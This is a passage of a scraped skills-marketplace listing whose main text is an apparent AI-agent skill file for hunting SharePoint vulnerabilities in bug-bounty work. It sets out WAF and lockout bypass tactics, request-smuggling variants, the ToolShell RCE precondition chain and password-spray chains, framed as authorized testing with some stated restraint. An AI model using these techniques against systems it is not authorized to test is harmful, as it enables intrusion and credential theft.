back-end IIS; IIS interprets `Content-Length` when both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.\n\n8. **Default Windows-installer hostname (`WIN-XXXXXXXXXXX`) never renamed.** Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.\n\n9. **Custom-branding module (`\u002F_layouts\u002F15\u002F\u003CCustomer>\u002F`) JS bundles loaded with `?v=YYYYMMDD` query strings.** The query string reveals last-modified date — useful for \"this app is actively maintained\" vs \"this app is abandoned\" determination.\n\n10. **Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE.** Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.\n\n---\n\n## Bypass Techniques\n\n| Defense | Bypass \u002F Recon Strategy |\n|---|---|\n| Branded `customlogin.aspx` with lockout \u002F CAPTCHA \u002F MFA | `\u002F_vti_bin\u002FAuthentication.asmx` legacy SOAP — none of those protections apply |\n| `WWW-Authenticate: NTLM` requires authenticated callers | Default IIS `extendedProtection=None` lets you elicit the Type-2 challenge anonymously — see `hunt-ntlm-info` |\n| `MicrosoftSharePointTeamServices` header stripped at ELB | Body of `\u002F_layouts\u002F15\u002Fstart.aspx` leaks version anyway; also `\u002F_api\u002Fcontextinfo`'s `LibraryVersion` |\n| `\u002F_vti_bin\u002Flists.asmx` 403 (SharedAccess.asmx \u002F Authentication.asmx still open) | Different services have different ACLs; enumerate all asmx separately |\n| `\u002F_api\u002Fweb\u002FCurrentUser` 401 with stack-trace JSON | Stack traces leak even on auth-deny responses; combine with version disclosure |\n| Anonymous `__REQUESTDIGEST` issued (ToolShell precondition) | Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation |\n| Custom error pages set | Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see `hunt-aspnet`) |\n| WAF blocks `\u003C` in query | Move payload to Cookie \u002F Referer \u002F SOAP body — request validator doesn't reach those contexts |\n| `Microsoft.SharePoint.WebPartPages.DataFormWebPart` blocked via SafeControl patch | Enumerate SafeControl list; find a subclass that bypasses the inheritance gate |\n| HTTP\u002F2 H2.CL smuggling | AWS ALBs often don't advertise `h2` ALPN — close that family early via `openssl s_client -alpn h2,http\u002F1.1` |\n| Authenticate.aspx wraps `Source=` in ReturnUrl | Test post-auth behavior with valid creds; pre-auth chain wraps everything safely |\n\n---\n\n## Gate 0 Validation\n\nBefore writing the report:\n\n1. **What can the attacker DO right now?**\n   - Authentication.asmx anonymous + no rate limit → **Critical** (unbounded credential validation; password spray + UPN format from NTLM = end-to-end ATO path)\n   - Full ToolShell precondition chain (anon GET + anon FormDigest + anon POST + unencrypted VS) + EoL SP2013 → **Critical** (RCE via well-documented public exploit chain, no patch will ship)\n   - NTLM Type-2 AD topology disclosure + default-Windows hostname → **Medium**\n   - SP2013 EoL alone → **Medium-Low** (compliance \u002F hygiene; bug-bounty programs vary — some accept, many reject)\n   - `download.aspx` URL echo without confirmed Collaborator callback → **NOT SSRF — retract**\n\n2. **Have you reproduced the full chain to attacker-attainable impact?**\n   - For Authentication.asmx: 10-burst test with uniform timing (proves no rate limit) is sufficient. Don't actually crack a credential.\n   - For ToolShell: precondition chain (steps a+b+c) is sufficient. Don't deliver a malicious payload.\n   - For NTLM: AV-pair decode showing AD-topology fields is sufficient.\n\n3. **Can you reproduce in \u003C10 minutes from a clean shell?**\n   - Authentication.asmx: 2 curl commands.\n   - ToolShell precondition: 3 curl commands.\n   - NTLM Type-2: 1 Python snippet (the AV-pair decoder).\n\n---\n\n## Real Impact Examples\n\n### Scenario A — a authorized SharePoint engagement against an EoL on-prem farm\n\nTarget: `https:\u002F\u002Ftarget-portal.example\u002F` — SharePoint Server 2013 build `15.0.5545.1000` (KB5002381 \u002F final EoL April 2023 CU). Tenant = a system-integrator tenant (Swiss \u003CParentCorp> importer) inside a corporate global AD (`customer.parent-corp.example`). Server hostname `WIN-XXXXXXXXXXX` (default Windows installer pattern).\n\n11 findings shipped: 3 Critical, 2 Medium, 6 Low\u002FInfo. The three Criticals:\n\n1. **Authentication.asmx anonymous credential brute-force** — 10-burst test showed uniform 0.6-0.9 s timing with no rate limit, no lockout, no CAPTCHA, no MFA challenge. Identical 431-byte responses.\n2. **HTTP request smuggling TE.CL** — 5\u002F5 trials showed 12.18 s back-end hang vs 0.16 s baseline. 4 additional obfuscation variants (space-before-colon, trailing-space, lowercase, mixed-case) showed 6.16 s hang — each bypassing simple WAF rules.\n3. **ToolShell precondition chain** — anonymous GET ToolPane.aspx (200) + anonymous POST `\u002F_api\u002Fcontextinfo` (200, valid FormDigest) + anonymous POST ToolPane.aspx with digest (200, no auth challenge) + `__VIEWSTATEENCRYPTED=\"\"`. Permanent zero-day on EoL SP2013.\n\nPlus Medium-tier: NTLM Type-2 disclosure of full AD topology (`customer.parent-corp.example`, `WIN-XXXXXXXXXXX`); SP2013 EoL exposure.\n\n### Scenario B — `\u002F_layouts\u002F15\u002Fdownload.aspx?SourceUrl=` recognized correctly as NOT-SSRF (saved-time example)\n\nSame target. Initial scan flagged `download.aspx?SourceUrl=http:\u002F\u002Foob.example.com\u002F` as SSRF because the server echoed the URL in the 500 error title (`\"The Web application at http:\u002F\u002Foob.example.com\u002F could not be found\"`). 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero DNS\u002FHTTP callbacks. Conclusion: `download.aspx` is an SP-internal `SPWebApplication` \u002F `SPFile` resolver, NOT a generic URL fetcher. The \"echo\" is server-side error-string formatting. Saved from reporting an N\u002FA finding by following the `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.\n\n### Scenario C — CVE-2019-0604 patch verification via Picker.aspx\n\nSame target. Feeding `Microsoft.SharePoint.WebPartPages.DataFormWebPart` (the canonical CVE-2019-0604 deserialization gadget) to Picker.aspx returned `\"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site.\"` — meaning the type EXISTS and is reachable through reflection, but the dialog framework's `instanceof PickerDialog` patch correctly rejects it. The patch IS in place for the original CVE-2019-0604 vector. The class-existence enumeration itself becomes recon for any future CVE-2019-0604-family chain that doesn't go through the inheritance gate.\n\n---\n\n## Cross-references\n\n- **Authentication.asmx legacy SOAP login** → see `hunt-auth-bypass` Legacy-Protocol Matrix for the WordPress-XMLRPC equivalent pattern.\n- **NTLM Type-2 AD-topology disclosure** → see `hunt-ntlm-info` for AV-pair decoder + severity rubric.\n- **ViewState dual-parser anti-pattern, machineKey recovery, request validator bypass** → see `hunt-aspnet`.\n- **HTTP request smuggling on AWS ELB + IIS** → see `hunt-http-smuggling`.\n- **OOB confirmation of any SSRF claim on SP** → see `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.\n- **Engagement-type confirmation before treating hygiene findings as bug-bounty submissions** → see `bb-methodology` PART 0 Mode-Confirmation Gate.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-auth-bypass`** — Legacy SOAP `\u002F_vti_bin\u002FAuthentication.asmx` accepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential → `hunt-auth-bypass` brute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred → `\u002F_layouts\u002F15\u002F` authenticated surface.\n- **`hunt-ntlm-info`** — Every SharePoint farm advertises `WWW-Authenticate: NTLM` anonymously on `\u002F_vti_bin\u002F`. Chain primitive: SharePoint NTLM Type-2 challenge capture → `hunt-ntlm-info` AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain into `m365-entra-attack` ROPC user-enumeration spray on tenant tied to that domain.\n- **`hunt-aspnet`** — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing → `hunt-aspnet` ViewState dual-parser MAC-bypass → deserialization gadget → RCE in `w3wp.exe` as farm account.\n- **`hunt-rce`** — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (`\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit` reachable via the CVE-2025-49706 auth bypass — a crafted `Referer` header pointing at ToolPane.aspx — + version vulnerable) → `hunt-rce` deserialization gadget chain → SYSTEM\u002Ffarm-account shell → `m365-entra-attack` lateral via stolen on-prem service-account token to Entra-synced identity.\n- **`triage-validation`** — SharePoint farms generate a lot of \"looks like a finding\" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at \"is this actually exploitable on this farm\" without a paired CVE PoC.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":25,"source":43,"license":14,"sources":44,"category":37,"date_added":45,"description":7,"source_repo":46,"source_type":30,"report_count":47,"compatibility":48,"license_source":49},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","github, authorized-engagement","2026-09-20","elementalsouls\u002FClaude-BugHunter",1,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-sharepoint","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-sharepoint",{"tool":61,"command":62},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-sharepoint",{"tool":64,"command":65},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-sharepoint","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-sharepoint\u002FSKILL.md",true,[],[70,95,119,143,171,195],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":81,"publishedAt":38},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[76],{"categoryNo":77,"categoryName":78,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",[82,83,84,85,86,87,72,88,89,90,91,32,30,21,92,93,27,26,23,94],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":38},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[102,103,104,105,106,107,108,109,110,111,112,113,114,32,115,30,116,117,93,118],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":38},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[126,127,128,129,130,131,132,35,133,134,135,136,137,30,21,138,139,140,141,142],"transcript","youtube transcript","youtube","safe","github","codex","research","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":160,"publishedAt":38},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[149,152,155],{"categoryNo":150,"categoryName":151,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":153,"categoryName":154,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":156,"categoryName":157,"taxonomyType":158,"taxonomyTypeDesc":159},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[126,127,128,161,129,162,130,131,35,163,164,165,166,135,167,30,21,168,169,170],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":172,"name":173,"nameZh":6,"description":174,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":175,"categories":176,"keywords":181,"publishedAt":38},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[177,180],{"categoryNo":178,"categoryName":179,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":153,"categoryName":154,"taxonomyType":79,"taxonomyTypeDesc":80},[128,182,183,106,129,184,185,186,187,35,165,188,189,190,191,21,192,138,193,194],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":199,"categories":200,"keywords":202,"publishedAt":38},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[201],{"categoryNo":150,"categoryName":151,"taxonomyType":79,"taxonomyTypeDesc":80},[203,128,204,205,129,162,163,34,206,164,165,166,135,207,167,30,21,168,208,141],"youtube full","full","google","dlp","credits","automatic"]